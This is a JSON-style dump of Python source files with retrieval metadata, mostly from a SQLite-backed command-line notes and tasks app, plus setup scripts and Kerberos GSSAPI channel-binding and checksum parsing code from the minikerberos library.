\"General\" WHERE NOT '\n f\"EXISTS (SELECT 1 FROM {TABLE_NAME} WHERE {COLUMN_ID} = 1)\"\n)\n", "id": "2176177", "language": "Python", "matching_score": 5.191247940063477, "max_stars_count": 4, "path": "codenotes/db/utilities/notes_categories.py" }, { "content": "\"\"\" Utility module with the statements and names related with task notes table \"\"\"\nfrom typing import Final, Text\n\nTABLE_NAME: Final[str] = \"cn_tasks_categories\"\n\nCOLUMN_ID: Final[str] = \"cn_tasks_category_id\"\nCOLUMN_NAME: Final[str] = \"cn_tasks_category_name\"\n\nCREATE_TABLE: Final[Text] = (\n f\"CREATE TABLE IF NOT EXISTS {TABLE_NAME} ({COLUMN_ID} INTEGER \"\n f\"PRIMARY KEY AUTOINCREMENT NULL, {COLUMN_NAME} NVARCHAR(30) NOT NULL);\"\n)\n\nINSERT_DEFAULT_CATEGORY: Final[Text] = (\n f'INSERT INTO {TABLE_NAME} ({COLUMN_NAME}) SELECT \"TODO Tasks\" WHERE NOT '\n f\"EXISTS(SELECT 1 FROM {TABLE_NAME} WHERE {COLUMN_ID} = 1); \"\n)\n", "id": "10549004", "language": "Python", "matching_score": 1.0757789611816406, "max_stars_count": 4, "path": "codenotes/db/utilities/tasks_categories.py" }, { "content": "import os\nimport sqlite3\nfrom sqlite3.dbapi2 import Connection, Cursor\nfrom typing import Any, AnyStr, Final, Optional\n\nimport codenotes.db.utilities.notes as notes\nimport codenotes.db.utilities.notes_categories as notes_categories\nimport codenotes.db.utilities.tasks as tasks\nimport codenotes.db.utilities.tasks_categories as tasks_categories\n\n\nclass SQLiteConnection:\n\n \"\"\"Connection with SQLite3 class\n\n Class has the purpouse to manage the connection with the database created with\n sqlite3. Everytime the constructor is executed, it connects to the database, then\n execute the SQL statements that creates the tables if they not exist. Also, this class\n allows you to execute sql, commit the transactions and close the connection with\n the database.\n\n Attributes\n ---------\n BASE_DIR: Final[AnyStr]\n Root path where the __main__ is executed\n\n DATABASE_NAME:Final[str]\n Name of the database\n\n DATABASE_PATH: Final[str]\n Complete path where is the database (its getted after joinning BASE_DIR & DATABASE_NAME)\n\n connection: Connection\n Connection with the database specified in DATABASE_PATH\n\n cursor: Cursor\n Cursor created to interact with the database\n \"\"\"\n\n BASE_DIR: Final[AnyStr] = os.path.dirname(\n os.path.dirname(os.path.abspath(__file__))\n )\n DATABASE_NAME: Final[str] = \"codenotes.db\"\n DATABASE_PATH: Final[str] = os.path.join(BASE_DIR, DATABASE_NAME)\n\n connection: Connection\n cursor: Cursor\n\n def __init__(self) -> None:\n \"\"\"SQLiteConnection Constructor\"\"\"\n self.connection = sqlite3.connect(self.DATABASE_PATH)\n self.cursor = self.connection.cursor()\n\n self.exec_sql(notes_categories.CREATE_TABLE) # Notes Category Table\n self.cursor.execute(\n notes_categories.INSERT_DEFAULT_CATEGORY\n ) # Insert Default Category\n self.exec_sql(notes.CREATE_TABLE) # Notes Table\n\n self.exec_sql(tasks_categories.CREATE_TABLE) # Task Category Table\n self.cursor.execute(\n tasks_categories.INSERT_DEFAULT_CATEGORY\n ) # Insert Default Category\n self.exec_sql(tasks.CREATE_TABLE) # Tasks Table\n\n self.connection.commit()\n\n def exec_sql(self, sql: str, values: Optional[tuple[Any]] = None) -> Cursor:\n \"\"\"Method that executes sql command\n\n Parameters\n ----------\n sql : str\n SQL statement to be executed\n\n values: tuple[Any]\n Optional argument typo of tuple, which contains the values the sql statement requires\n\n Returns\n -------\n cursor : Cursor\n Method will return the cursor that the method execute returns\n \"\"\"\n if values is not None:\n return self.cursor.execute(sql, values)\n return self.cursor.execute(sql)\n\n def commit(self) -> None:\n \"\"\"Commits the current transaction\"\"\"\n self.connection.commit()\n\n def close(self) -> None:\n \"\"\"Close database and cursor connection\"\"\"\n self.cursor.close()\n self.connection.close()\n", "id": "3900137", "language": "Python", "matching_score": 1.2281458377838135, "max_stars_count": 4, "path": "codenotes/db/connection.py" }, { "content": "def add_conditions_sql(sql: str, condition: str, type_condition: str = None) -> str:\n \"\"\"Adds where conditions to sql\n\n Parameters\n ----------\n sql : str\n SQL string that will be added the condition\n condition : str\n Condition added to SQL\n type_condition : str\n If 'WHERE' exists, will add the type of condition (AND/OR)\n\n Returns\n -------\n sql : str\n Returns the same SQL passed with the condition\n \"\"\"\n if \"where\" in sql.lower():\n sql = sql + f\" {type_condition} {condition}\"\n else:\n sql = sql + f\" WHERE {condition}\"\n return sql\n", "id": "2830510", "language": "Python", "matching_score": 0.06046239286661148, "max_stars_count": 4, "path": "codenotes/util/sql.py" }, { "content": "from setuptools import setup, find_packages\n\nwith open('requirements.txt', 'r') as req_file:\n required_packages = req_file.readlines()\n\nwith open('requirements_dev.txt', 'r') as req_dev_file:\n required_dev_packages = req_dev_file.readlines()\n\nwith open('README.md', 'r') as readme_file:\n long_description = readme_file.read()\n\nsetup(\n name=\"Codenotes\",\n version=\"1.0a2\",\n author=\"<NAME>\",\n author_email=\"<EMAIL>\",\n description='A simple CLI where you can save and view all your created annotations',\n long_description=long_description,\n long_description_content_type=\"text/markdown\",\n url=\"https://github.com/EGAMAGZ/codenotes\",\n license=\"MIT\",\n keywords=\"cli cui tui curses command-line note task codenotes\",\n classifiers=[\n 'Development Status :: 3 - Alpha',\n 'Environment :: Console',\n 'Environment :: Console :: Curses',\n 'License :: OSI Approved :: MIT License',\n 'Operating System :: OS Independent',\n 'Programming Language :: Python :: 3.9',\n 'Topic :: Office/Business :: Scheduling',\n 'Typing :: Typed'\n ],\n packages=find_packages(exclude=['tests',]),\n entry_points={\n 'console_scripts':['codenotes = codenotes:main',]\n },\n install_requires=required_packages,\n extra_require={\n 'dev': required_dev_packages\n },\n python_requires=\">=3.9\"\n)\n", "id": "5878067", "language": "Python", "matching_score": 5.547861576080322, "max_stars_count": 4, "path": "setup.py" }, { "content": "from setuptools import setup, find_packages\n\nwith open('requirements.txt','r') as req_file:\n required_packages= req_file.readlines()\n\nwith open('README.md','r') as readme_file:\n long_description=readme_file.read()\n\nsetup(\n name=\"pymusic-term\",\n version=\"0.0.4\",\n author=\"<NAME>\",\n author_email=\"\",\n description=\"A music player and spotify client for a terminal\",\n long_description=long_description,\n long_description_content_type=\"text/markdown\",\n url=\"https://github.com/EGAMAGZ/pymusicterm\",\n license=\"MIT\",\n keywords=\"git cli cui curses command-line\",\n classifiers=[\n 'Intended Audience :: Information Technology',\n 'Development Status :: 3 - Alpha',\n 'Environment :: Console',\n 'Environment :: Console :: Curses',\n 'License :: OSI Approved :: MIT License',\n 'Programming Language :: Python :: 3.8',\n 'Topic :: Multimedia :: Sound/Audio :: Players',\n 'Topic :: Multimedia :: Sound/Audio :: Players :: MP3'\n ],\n packages=find_packages(exclude=['tests','docs']),\n entry_points={\n 'console_scripts':['pymusicterm = pymusicterm:main',]\n },\n install_requires=required_packages,\n python_requires=\">=3.8\"\n)\n", "id": "220058", "language": "Python", "matching_score": 0.8825389742851257, "max_stars_count": 2, "path": "setup.py" }, { "content": "import pymusicterm\n\nಠ_ಠ=\"I just want to tell you 'Hi!' \"\n\npymusicterm.main()\n", "id": "12704191", "language": "Python", "matching_score": 0, "max_stars_count": 2, "path": "pymusicterm/__main__.py" }, { "content": "from typing import Optional, final\n\nfrom rich.console import Console\nfrom rich.theme import Theme\n\n\n@final\nclass PrintFormatted:\n \"\"\"Class to display in the terminal beautiful text\n\n This class only has the purpose to print beautiful text using rich package. It is mainly created with @classmethod\n to print some specific type of text with its own theme\n\n Attributes\n ----------\n console: Console\n (Rich) Console for beatiful printting\n \"\"\"\n\n console: Console\n\n def __init__(self, custom_theme: Optional[Theme] = None):\n \"\"\"PrintFormatted Constructor\n\n Parameters\n ----------\n custom_theme: Optional[Theme]\n Theme use for Console class\n \"\"\"\n\n if custom_theme is not None:\n self.console = Console(theme=custom_theme)\n else:\n self.console = Console()\n\n @classmethod\n def custom_print(cls, text: str, theme: Theme = None) -> None:\n \"\"\"Class method used to print custom formatted text\n Parameters\n ----------\n text : HTML\n Text that will be print with format similar to html\n\n theme: Theme\n Theme used for the text to be displayed\n \"\"\"\n print_formatted = cls(theme)\n print_formatted.console.print(text)\n\n @classmethod\n def print_category_creation(cls, category: str) -> None:\n \"\"\"Class method used to print the creation of a new category\n\n Parameters\n ----------\n category: str\n Name of the category created\n \"\"\"\n custom_txt = f\"[msg]Created new category:[/msg][name]{category}[/name]\"\n\n custom_theme = Theme({\"msg\": \"#31f55f bold\", \"name\": \"#616161 italic\"})\n\n print_formatted = cls(custom_theme)\n print_formatted.console.print(custom_txt)\n\n @classmethod\n def print_content_storage(cls, content: str, category: str) -> None:\n \"\"\"Class method used to print the process of storage of tasks and notes\n\n Parameters\n ----------\n content : str\n A glance of the content that is stored\n\n category : str\n Category where is stored\n \"\"\"\n custom_txt = f\"[msg]> Saved[{category}]: [/msg][content]{content}[/content]\"\n\n custom_theme = Theme({\"msg\": \"#d898ed bold\", \"content\": \"#616161 italic\"})\n\n print_formatted = cls(custom_theme)\n print_formatted.console.print(custom_txt)\n\n @classmethod\n def ask_confirmation(cls, text: str) -> bool:\n \"\"\"Class method used to ask for confirmation\n\n Parameters\n ----------\n text: str\n Text that will be displayed to ask confirmation\n\n Returns\n -------\n confirmation: bool\n Return boolean value that indicates the confirmation\n \"\"\"\n print_formatted = cls()\n\n custom_text = text # Text with rich format\n answer = print_formatted.console.input(custom_text).strip()\n\n while len(answer) > 0 and answer.lower() != \"n\" and answer.lower() != \"y\":\n answer = print_formatted.console.input(custom_text)\n\n if answer.lower() == \"y\":\n return True\n return False\n\n @classmethod\n def print_help(cls, help_txt: str) -> None:\n \"\"\"Class method used to print help text\n\n Parameters\n ----------\n help_txt: str\n Custom help text that will display instructions of how to use the CLI\n \"\"\"\n custom_text = help_txt\n\n custom_theme = Theme({\"header\": \"white bold\", \"quote\": \"purple\"})\n\n print_formatted = cls(custom_theme)\n print_formatted.console.print(custom_text)\n\n @classmethod\n def interruption(cls) -> None:\n custom_text = \"[bold red]Interrupted[/bold red]\"\n\n print_formatted = cls()\n print_formatted.console.print(custom_text)\n", "id": "8729344", "language": "Python", "matching_score": 1.0910452604293823, "max_stars_count": 4, "path": "codenotes/cli/__init__.py" }, { "content": "from dataclasses import dataclass\nfrom datetime import date\n\n\n@dataclass\nclass Category:\n \"\"\"Dataclass to store category information\n\n Parameters\n ----------\n id: int\n Id of the category\n\n name: str\n Category name\n \"\"\"\n\n id: int\n name: str\n\n def __str__(self) -> str:\n \"\"\"Return category name\"\"\"\n return self.name\n\n\n@dataclass\nclass Task:\n \"\"\"Dataclass to store task information\n\n Parameters\n ----------\n id: int\n Id of the task\n\n content: str\n Task content\n\n status: str\n Task status (Incomplete, In Process & Finished)\n\n category: str\n Category name where is the task stored\n\n creation: date\n Date when the task was created\n \"\"\"\n\n id: int\n content: str\n status: str\n category: str\n creation: date\n\n def __str__(self) -> str:\n \"\"\"Return task content\"\"\"\n return self.content\n", "id": "8081752", "language": "Python", "matching_score": 0.5196303129196167, "max_stars_count": 4, "path": "codenotes/db/entities.py" }, { "content": "from typing import overload, Union\n\nfrom codenotes.util.args import format_argument_text\n\n\ndef text_break(complete_text: str, max_length: int = 15) -> str:\n \"\"\"Functions that breaks the text you pass after a defined length (Default 15 characters)\n\n Parameters\n ----------\n complete_text: str\n Whole text before breaking it\n\n max_length: int\n Max length to break the text and add to the ending '...'\n\n Returns\n -------\n text_breaked: str\n Depending in the length of the text, it's the way the text will be broken\n \"\"\"\n\n if len(complete_text) > 15:\n return f\"{complete_text[:max_length]}...\"\n else:\n return complete_text\n\n\n@overload\ndef format_list_text(text: list[str]) -> list[str]:\n ...\n\n\n@overload\ndef format_list_text(text: list[str]) -> str:\n ...\n\n\ndef format_list_text(task_text: list[str]) -> Union[list[str], str]:\n \"\"\"Function that formats text passed through arguments\n\n Parameters\n ----------\n text : list[str]\n Text written in the arguments of argparse\n\n Returns\n -------\n tasks_list : Union[list[str], str]\n list of texts of task joined and stripped or, task of text passed in arguments and joined\n \"\"\"\n task_text = format_argument_text(task_text)\n\n if \";\" in task_text:\n tasks_list = []\n\n for task in task_text.split(\";\"):\n if task and not task.isspace():\n # Checks if is '' or ' ', and doesn't append it if so\n tasks_list.append(task.strip()) # \"Trim\"\n\n return tasks_list\n\n else:\n return task_text\n\n\ndef status_text(status_value: int) -> str:\n \"\"\"Functions that returns the status in text\n\n Parameters\n ----------\n status_value: int\n Integer value of the task status\n\n Returns\n -------\n status_txt: str\n Status text based in the integer value\n \"\"\"\n if status_value == 0:\n return \"Incomplete\"\n elif status_value == 1:\n return \"In Process\"\n elif status_value == 2:\n return \"Finished\"\n", "id": "2840306", "language": "Python", "matching_score": 1.1578328609466553, "max_stars_count": 4, "path": "codenotes/util/text.py" }, { "content": "class MissingArgsException(Exception):\n \"\"\"Exception raised if a required argparse argument is missing\"\"\"\n\n pass\n\n\nclass CategoryNotExistsError(Exception):\n \"\"\"Exception raised after validation that a category doesn't exists\"\"\"\n\n pass\n", "id": "11908805", "language": "Python", "matching_score": 0.569476306438446, "max_stars_count": 4, "path": "codenotes/exceptions.py" }, { "content": "import argparse\nimport logging\nimport sys\nfrom typing import Optional\n\nimport codenotes.util.help as help_text\nfrom codenotes.cli import PrintFormatted\nfrom codenotes.cli.category import CreateCategory, SearchCategory\nfrom codenotes.cli.notes import CreateNote, SearchNote\nfrom codenotes.cli.tasks import CreateTask, SearchTask\n\n__version__ = \"1.0a2\"\n\n\ndef parse_args(sys_args: list) -> argparse.Namespace:\n \"\"\"Function incharge to declare the Argumen Parser and add arguments to it\n\n Parameters\n ----------\n sys_args: list\n String list of arguments capture by sys.argv\n\n Returns\n -------\n args: Namespace\n All the arguments that are in ArgumenParser\n \"\"\"\n\n parser = argparse.ArgumentParser(prog=\"codenotes\")\n parser.add_argument(\"--version\", \"-v\", action=\"version\", version=__version__)\n parser.add_argument(\"--log\", action=\"store_true\")\n subparsers = parser.add_subparsers(dest=\"subargs\") # Types of annotation\n\n # === Task ===\n\n task = subparsers.add_parser(\"task\")\n task_actions = task.add_subparsers(dest=\"action\")\n\n # === Create Task ===\n task_create = task_actions.add_parser(\"create\")\n task_create.add_argument(\"text\", type=str, nargs=\"*\", action=\"store\")\n task_create.add_argument(\"--category\", \"-c\", type=str, nargs=\"*\", action=\"store\")\n task_create.add_argument(\"--preview\", \"-p\", action=\"store_true\")\n\n # === Seach Task ===\n task_search = task_actions.add_parser(\"search\")\n task_search.add_argument(\"text\", action=\"store\", nargs=\"*\")\n task_search.add_argument(\"--category\", \"-c\", type=str, nargs=\"*\", action=\"store\")\n\n task_search_group = task_search.add_mutually_exclusive_group()\n task_search_group.add_argument(\"--today\", \"-t\", action=\"store_true\")\n task_search_group.add_argument(\"--yesterday\", \"-y\", action=\"store_true\")\n task_search_group.add_argument(\"--week\", \"-w\", action=\"store_true\")\n task_search_group.add_argument(\"--month\", \"-m\", action=\"store_true\")\n task_search_group.add_argument(\"--ever\", \"-e\", action=\"store_true\")\n\n # === Note ===\n\n note = subparsers.add_parser(\"note\")\n note_actions = note.add_subparsers(dest=\"action\")\n\n # === Create Note ===\n note_create = note_actions.add_parser(\"create\")\n note_create.add_argument(\"text\", type=str, nargs=\"*\", action=\"store\")\n note_create.add_argument(\"--title\", \"-t\", type=str, nargs=\"*\", action=\"store\")\n note_create.add_argument(\"--category\", \"-c\", type=str, nargs=\"*\", action=\"store\")\n note_create.add_argument(\"--preview\", \"-p\", action=\"store_true\")\n\n # === Search Note ===\n note_search = note_actions.add_parser(\"search\")\n note_search.add_argument(\"text\", action=\"store\", nargs=\"*\")\n note_search.add_argument(\"--category\", \"-c\", type=str, nargs=\"*\", action=\"store\")\n\n note_search_group = note_search.add_mutually_exclusive_group()\n note_search_group.add_argument(\"--today\", \"-t\", action=\"store_true\")\n note_search_group.add_argument(\"--yesterday\", \"-y\", action=\"store_true\")\n note_search_group.add_argument(\"--week\", \"-w\", action=\"store_true\")\n note_search_group.add_argument(\"--month\", \"-m\", action=\"store_true\")\n note_search_group.add_argument(\"--ever\", \"-e\", action=\"store_true\")\n\n # === Category ===\n\n category = subparsers.add_parser(\"category\")\n category_actions = category.add_subparsers(dest=\"action\")\n\n # === Create Cateogry ===\n category_create = category_actions.add_parser(\"create\")\n category_create.add_argument(\"text\", type=str, nargs=\"*\", action=\"store\")\n category_create.add_argument(\"--preview\", \"-p\", action=\"store_true\")\n\n category_create_annotation = category_create.add_mutually_exclusive_group()\n category_create_annotation.add_argument(\"--note\", \"-n\", action=\"store_true\")\n category_create_annotation.add_argument(\"--task\", \"-t\", action=\"store_true\")\n\n # === Search Category ===\n category_search = category_actions.add_parser(\"search\")\n category_search.add_argument(\"text\", type=str, nargs=\"*\", action=\"store\")\n\n category_search_annotation = category_search.add_mutually_exclusive_group()\n category_search_annotation.add_argument(\"--note\", \"-n\", action=\"store_true\")\n category_search_annotation.add_argument(\"--task\", \"-t\", action=\"store_true\")\n category_search_annotation.add_argument(\"--all\", \"-a\", action=\"store_true\")\n\n parser.error = print_usage\n\n return parser.parse_args(sys_args)\n\n\ndef enable_logging() -> None:\n logging.basicConfig(\n filename=\"codenotes.log\",\n format=\"%(asctime)s-%(name)s-%(levelname)s:%(message)s\",\n level=logging.INFO,\n datefmt=\"%m/%d/%Y %I:%M:%S %p\",\n )\n\n\ndef print_usage(error_message: Optional[str] = None) -> None:\n \"\"\"Print usage text with rich console, and print error message passed when this function is called by argparse\n\n Parameters\n ----------\n error_message: Optional[str]\n Error message through\n \"\"\"\n if error_message is not None:\n PrintFormatted.custom_print(f\"[red]{error_message}[/red]\")\n\n PrintFormatted.print_help(help_text.CLI_USAGE_TEXT)\n\n\ndef main():\n \"\"\"Main function\"\"\"\n args = parse_args(sys.argv[1:])\n if len(sys.argv) > 1:\n\n if args.log:\n enable_logging()\n\n if args.subargs == \"task\":\n if args.action == \"create\":\n CreateTask.set_args(args)\n elif args.action == \"search\":\n SearchTask.set_args(args)\n else:\n print_usage()\n\n elif args.subargs == \"note\":\n if args.action == \"create\":\n CreateNote.set_args(args)\n elif args.action == \"search\":\n SearchNote.set_args(args)\n else:\n print_usage()\n\n elif args.subargs == \"category\":\n if args.action == \"create\":\n CreateCategory.set_args(args)\n if args.action == \"search\":\n SearchCategory.set_args(args)\n\n else:\n print_usage()\n", "id": "12181167", "language": "Python", "matching_score": 3.008338451385498, "max_stars_count": 4, "path": "codenotes/__init__.py" }, { "content": "from typing import Text, Final\n\n\nCLI_USAGE_TEXT: Final[Text] = \"\"\"[quote]Write any thought you have without quitting from the command line[/quote]\n\n[header]USAGE[/header]\ncodenotes <command> <annotation> <text> <flags>\n\n[header]CORE COMMANDS[/header]\nadd Create new note or task with the content typed\nsearch Search for notes or tasks with the parameters specified\n\n[header]ANNOTATION[/header]\nnote/task Type of annotations\n\n[header]FLAGS[/header]\n--version, -v Show codenotes version\n\n[header]EXAMPLES[/header]\n$ codenotes add task Finish coding the tests --new-categoery Reminders\n$ codenotes add task Create documentation for the codenotes proyect; Release the proyect -p\n$ codenotes search note --today\n\n[header]FEEDBACK[/header]\nOpen an issue in [u]github.com/EGAMAGZ/codenotes[/u]\"\"\"\n\n\nADD_NOTE_USAGE_TEXT: Final[Text] = \"\"\"[quote]Write any thought you have without quitting from the command line[/quote]\n\n[header]USAGE[/header]\ncodenotes add note <text> <flags>\n\n[header]FLAGS[/header]\n--title,-t <title> Sets a title to the note with a limit of 30 characters. When a title is not specified, it takes\n\\t\\tthe first 30 characters from the note\n--category,-c <category> Create a new category if it not exist and will store the note in it\n--preview, -p Shows a preview of the note that will be save\n\n[header]USAGE[/header]\n$ codenotes add note I got an idea for UI --title UI Idea --category Codenotes\"\"\"\n\n\nADD_TASK_USAGE_TEXT: Final[Text] = \"\"\"[quote]Write any thought you have without quitting from the command line[/quote]\n\n[header]USAGE[/header]\ncodenotes add task <text> <flags>\n\n[header]FLAGS[/header]\n--category,-c <category> Create a new category if it not exist and will store the note in it\n--preview, -p Shows a preview of the note that will be save\n\n[header]TEXT[/header]\nTo save two or more task, use the symbol ; to indicate the ending of a task.\n\n[header]USAGE[/header]\n$ codenotes add task Finish coding the tests --new-categoery Reminders\n$ codenotes add task Create documentation for the codenotes proyect; Release the proyect -p\"\"\"\n\nSEARCH_USAGE_TEXT: Final[Text] = \"\"\"[quote]Write any thought you have without quitting from the command line[/quote]\n\n[header]USAGE[/header]\ncodenotes search <annotation> <text> <flags>\n\n[header]ANNOTATION[/header]\nnote/task Type of annotations\n\n[header]TEXT[/header]\nText that will be search if any annotations contains it.\n\n[header]FLAGS[/header]\n--today, -t Search annotations created today\n--yesterday, -y Search annotations created yesterday\n--week, -w Search annotations created in the week\n--month, -m Search annotations created in the month\n\n[header]USAGE[/header]\n$ codenotes search note --today\n$ codenotes search task Finish my project --month\"\"\"\n", "id": "5319641", "language": "Python", "matching_score": 1, "max_stars_count": 4, "path": "codenotes/util/help.py" }, { "content": "import codenotes\n\nif __name__ == \"__main__\":\n codenotes.main()\n", "id": "8133308", "language": "Python", "matching_score": 0.26901814341545105, "max_stars_count": 4, "path": "codenotes/__main__.py" } ]
2.490859
Sunwoo-Shin
[ { "content": "\nimport enum\nimport io\n\n# https://www.ietf.org/rfc/rfc2744.txt 3.11. Channel Bindings\n\nclass GSS_C_AF(enum.Enum):\n\tUNSPEC = 0 #Unspecified address type\n\tLOCAL = 1 #Host-local address type\n\tINET = 2 #Internet address type (e.g. IP)\n\tIMPLINK = 3 #ARPAnet IMP address type\n\tPUP = 4 #pup protocols (eg BSP) address type\n\tCHAOS = 5 #MIT CHAOS protocol address type\n\tNS = 6 #XEROX NS address type\n\tNBS = 7 #nbs address type\n\tECMA = 8 #ECMA address type\n\tDATAKIT = 9 #datakit protocols address type\n\tCCITT = 10 #CCITT protocols\n\tSNA = 11 #IBM SNA address type\n\tDECnet = 12 #DECnet address type\n\tDLI = 13 #Direct data link interface address type\n\tLAT = 14 #LAT address type\n\tHYLINK = 15 #NSC Hyperchannel address type\n\tAPPLETALK= 16 #AppleTalk address type\n\tBSC = 17 #BISYNC 2780/3780 address type\n\tDSS = 18 #Distributed system services address type\n\tOSI = 19 #OSI TP4 address type\n\tX25 = 21 #X.25\n\tNULLADDR = 255 #No address specified\n\nclass ChannelBindingsStruct:\n\tdef __init__(self):\n\t\tself.initiator_addrtype = None #GSS_C_AF\n\t\tself.initiator_address = None #bytes\n\t\tself.acceptor_addrtype = None #GSS_C_AF\n\t\tself.acceptor_address = None #bytes\n\t\tself.application_data = None #bytes\n\n\t@staticmethod\n\tdef from_bytes(data):\n\t\treturn ChannelBindingsStruct.from_buffer(io.BytesIO(data))\n\n\t@staticmethod\n\tdef from_buffer(buff):\n\t\t# TODO: parse the addresses\n\t\tcb = ChannelBindingsStruct()\n\t\tt = buff.read(8)\n\t\tif t != b'\\x00' * 8:\n\t\t\tcb.initiator_addrtype = GSS_C_AF(int.from_bytes(t, byteorder='little', signed = False))\n\t\t\tinitiator_address_length = int.from_bytes(buff.read(4), byteorder='little', signed = False)\n\t\t\tcb.initiator_address = buff.read(initiator_address_length)\n\t\tt = buff.read(8)\n\t\tif t != b'\\x00' * 8:\n\t\t\tcb.acceptor_addrtype = GSS_C_AF(int.from_bytes(buff.read(4), byteorder='little', signed = False))\n\t\t\tacceptor_address_length = int.from_bytes(buff.read(4), byteorder='little', signed = False)\n\t\t\tcb.acceptor_address = buff.read(acceptor_address_length)\n\t\tt = buff.read(8)\n\t\tif t != b'\\x00' * 8:\n\t\t\tapplication_data_length = int.from_bytes(buff.read(4), byteorder='little', signed = False)\n\t\t\tcb.application_data = buff.read(application_data_length)\n\t\treturn cb\n\n\tdef to_bytes(self):\n\t\tif self.initiator_address is None:\n\t\t\tt = b'\\x00' * 8\n\t\telse:\n\t\t\tt = self.initiator_addrtype.value.to_bytes(4, byteorder='little', signed = False)\n\t\t\tt += len(self.initiator_address).to_bytes(4, byteorder='little', signed = False)\n\t\t\tt += self.initiator_address\n\t\tif self.acceptor_address is None:\n\t\t\tt += b'\\x00' * 8\n\t\telse:\n\t\t\tt += self.acceptor_addrtype\n\t\t\tt += len(self.acceptor_address).to_bytes(4, byteorder='little', signed = False)\n\t\t\tt += self.acceptor_address\n\t\tif self.application_data is None:\n\t\t\tt += b'\\x00' * 8\n\t\telse:\n\t\t\tt += len(self.application_data).to_bytes(4, byteorder='little', signed = False)\n\t\t\tt += self.application_data\n\t\treturn t", "id": "12422735", "language": "Python", "matching_score": 2.099599838256836, "max_stars_count": 146, "path": "minikerberos/gssapi/channelbindings.py" }, { "content": "import io\nimport enum\nimport base64\n\nfrom minikerberos.protocol.asn1_structs import GSSAPIOID, GSSAPIToken\n\n#https://tools.ietf.org/html/rfc4121#section-4.1.1.1\nclass ChecksumFlags(enum.IntFlag):\n\tGSS_C_DELEG_FLAG = 1\n\tGSS_C_MUTUAL_FLAG = 2\n\tGSS_C_REPLAY_FLAG = 4\n\tGSS_C_SEQUENCE_FLAG = 8\n\tGSS_C_CONF_FLAG = 16\n\tGSS_C_INTEG_FLAG = 32\n\tGSS_C_DCE_STYLE = 0x1000\n\t\t \n#https://tools.ietf.org/html/rfc4121#section-4.1.1\nclass AuthenticatorChecksum:\n\tdef __init__(self):\n\t\tself.length_of_binding = None\n\t\tself.channel_binding = None #MD5 hash of gss_channel_bindings_struct\n\t\tself.flags = None #ChecksumFlags\n\t\tself.delegation = None\n\t\tself.delegation_length = None\n\t\tself.delegation_data = None\n\t\tself.extensions = None\n\t\t\n\t@staticmethod\n\tdef from_bytes(data):\n\t\treturn AuthenticatorChecksum.from_buffer(io.BytesIO(data))\n\t\t\n\t@staticmethod\n\tdef from_buffer(buffer):\n\t\tac = AuthenticatorChecksum()\n\t\tac.length_of_binding = int.from_bytes(buffer.read(4), byteorder = 'little', signed = False)\n\t\tac.channel_binding = buffer.read(ac.length_of_binding) #according to the latest RFC this is 16 bytes long always\n\t\tac.flags = ChecksumFlags(int.from_bytes(buffer.read(4), byteorder = 'little', signed = False))\n\t\tif ac.flags & ChecksumFlags.GSS_C_DELEG_FLAG:\n\t\t\tac.delegation = bool(int.from_bytes(buffer.read(2), byteorder = 'little', signed = False))\n\t\t\tac.delegation_length = int.from_bytes(buffer.read(2), byteorder = 'little', signed = False)\n\t\t\tac.delegation_data = buffer.read(ac.delegation_length)\n\t\tac.extensions = buffer.read()\n\t\treturn ac\n\t\t\n\t\t\n\tdef to_bytes(self):\n\t\tt = len(self.channel_binding).to_bytes(4, byteorder = 'little', signed = False)\n\t\tt += self.channel_binding\n\t\tt += self.flags.to_bytes(4, byteorder = 'little', signed = False)\n\t\tif self.flags & ChecksumFlags.GSS_C_DELEG_FLAG:\n\t\t\tt += int(self.delegation).to_bytes(2, byteorder = 'little', signed = False)\n\t\t\tt += len(self.delegation_data.to_bytes()).to_bytes(2, byteorder = 'little', signed = False)\n\t\t\tt += self.delegation_data.to_bytes()\n\t\tif self.extensions:\n\t\t\tt += self.extensions.to_bytes()\n\t\treturn t\n\n\n# KRB5Token TOK_ID values.\nclass KRB5TokenTokID(enum.IntFlag):\n\tKRB_AP_REQ = 0x0100\n\tKRB_AP_REP = 0x0200\n\tKRB_ERROR = 0x0300\n\n\tdef get_bytes(self):\n\t\treturn self.value.to_bytes(2, byteorder='big')\n\n\n# https://tools.ietf.org/html/rfc4121#section-4.1\nclass KRB5Token:\n\tdef __init__(self, inner_token):\n\t\tself.oid = GSSAPIOID('krb5')\n\t\tself.inner_token = inner_token\n\n\tdef get_apreq_token(self, encoding='utf-8'):\n\t\ttoken = self.oid.dump()\n\t\ttoken += KRB5TokenTokID.KRB_AP_REQ.get_bytes()\n\t\ttoken += self.inner_token\n\t\treturn str(base64.b64encode(GSSAPIToken(contents=token).dump()), encoding)\n", "id": "2524096", "language": "Python", "matching_score": 1.4548548460006714, "max_stars_count": 146, "path": "minikerberos/protocol/structures.py" }, { "content": "# Copyright (C) 2013 by the Massachusetts Institute of Technology.\n# All rights reserved.\n#\n# Redistribution and use in source and binary forms, with or without\n# modification, are permitted provided that the following conditions\n# are met:\n#\n# * Redistributions of source code must retain the above copyright\n# notice, this list of conditions and the following disclaimer.\n#\n# * Redistributions in binary form must reproduce the above copyright\n# notice, this list of conditions and the following disclaimer in\n# the documentation and/or other materials provided with the\n# distribution.\n#\n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n# \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS\n# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE\n# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,\n# INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n# (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR\n# SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\n# HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,\n# STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED\n# OF THE POSSIBILITY OF SUCH DAMAGE.\n\n# XXX current status:\n# * Done and tested\n# - AES encryption, checksum, string2key, prf\n# - cf2 (needed for FAST)\n# * Still to do:\n# - DES enctypes and cksumtypes\n# - RC4 exported enctype (if we need it for anything)\n# - Unkeyed checksums\n# - Special RC4, raw DES/DES3 operations for GSSAPI\n# * Difficult or low priority:\n# - Camellia not supported by PyCrypto\n# - 